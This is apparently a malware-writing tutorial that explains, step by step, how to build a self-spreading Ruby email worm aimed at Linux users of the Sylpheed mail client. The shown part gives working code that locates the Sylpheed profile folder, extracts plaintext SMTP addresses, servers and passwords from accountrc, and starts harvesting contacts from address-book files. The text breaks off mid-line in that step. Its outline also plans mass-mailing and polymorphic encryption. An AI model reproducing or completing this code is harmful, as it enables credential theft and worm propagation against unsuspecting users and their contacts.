Ruby.Worm.Sylpheed
Sephiroth
subject : worm
spreading-routine : through email
target : linux with Sylpheed
language : ruby
author : sephiroth (sephiroth@rbcmail.ru)
############### work-flow ################
a.) getting the sylpheed-path
b.) getting smtp-account data (user,pwd,server) to send our mails through
c.) getting email addresses to send the worm to
d.) sending the worm
e.) adding a simple polymorph encryption
#######################################
### a.) ###
Well like linux is built it is clear, that the userfiles are stored in the home directory. There all Sylpheed
versions (2.0-2.4*) own a folder .sylpheed-2.0 . It's always named 2.0 and didn't changed until now. Getting
the path to it is quite easy:
SYLPATH=ENV["HOME"]+"/.sylpheed-2.0/"
We put together the environmental variable "HOME" and the foldername to get the complete path into SYLPATH.
### b.) ###
The smtp-account data are saved totally unencrypted in the file 'accountrc' in the .sylpheed-2.0 folder in
the home-directory. They are saved with many many additional information we don't wanna care about but we
know for sure that all the lines we are interested in begin with 'address=','smtp_server='and 'password='.
So let's use the power of rubys regexp to collect these lines and map them into an array. We are gathering
all account because if one wouldn't work our worm can simply take the next acc to send hisself through:
Account = Struct.new(:mail_address,:smtp_acc,:pwd)
parse_string = /address=(.+?)\n.*?smtp_server=(.+?)\n.*?password=(\w+)/m
accounts =File.read("#{SYLPATH}accountrc").scan(parse_string).map { |arr| Account.new(*arr) }
Now we can iterate over the accounts array and take our data like:
accounts.each do |acc|
puts acc.mail_address
puts acc.smtp_acc
puts acc.pwd
end
### c.) ###
Getting mail-addresses where we can send our worm to is even easier. We simply read every sylpheed-addressbook
file which are located in the same folder as the accountrc file and are named addrbook-*.xml, while * is the
number of the addressbook between 000001-999999. But who has so many addressbooks? No matter we take
everything which is there:
adrbk_entries=[]
Dir["#{SYLPATH}addrbook*.xml"].each do |file|
File.open(file).each { |line| adrbk_entries<